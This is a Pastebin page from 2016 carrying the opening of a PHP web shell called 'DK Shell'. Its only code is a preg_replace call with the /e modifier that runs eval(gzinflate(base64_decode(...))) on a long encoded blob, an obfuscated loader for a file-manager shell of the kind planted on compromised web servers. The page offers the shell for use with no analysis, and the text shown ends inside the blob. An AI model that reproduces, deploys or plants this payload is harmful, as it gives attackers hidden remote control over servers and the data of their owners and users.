Advertisement
walidhks

Untitled

May 3rd, 2016
1,112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 76.84 KB | None | 0 0
  1. <?php
  2. //
  3. // DK Shell - Took the Best made it Better..!!
  4. //
  5. //
  6. //
  7. //Version 1.0
  8. //Created on 25/3/2012 by b47chguru
  9. $color = "#00FF66"; //Colour
  10. $default_action = "FilesMan";
  11. $default_charset = "Windows-1251";
  12. preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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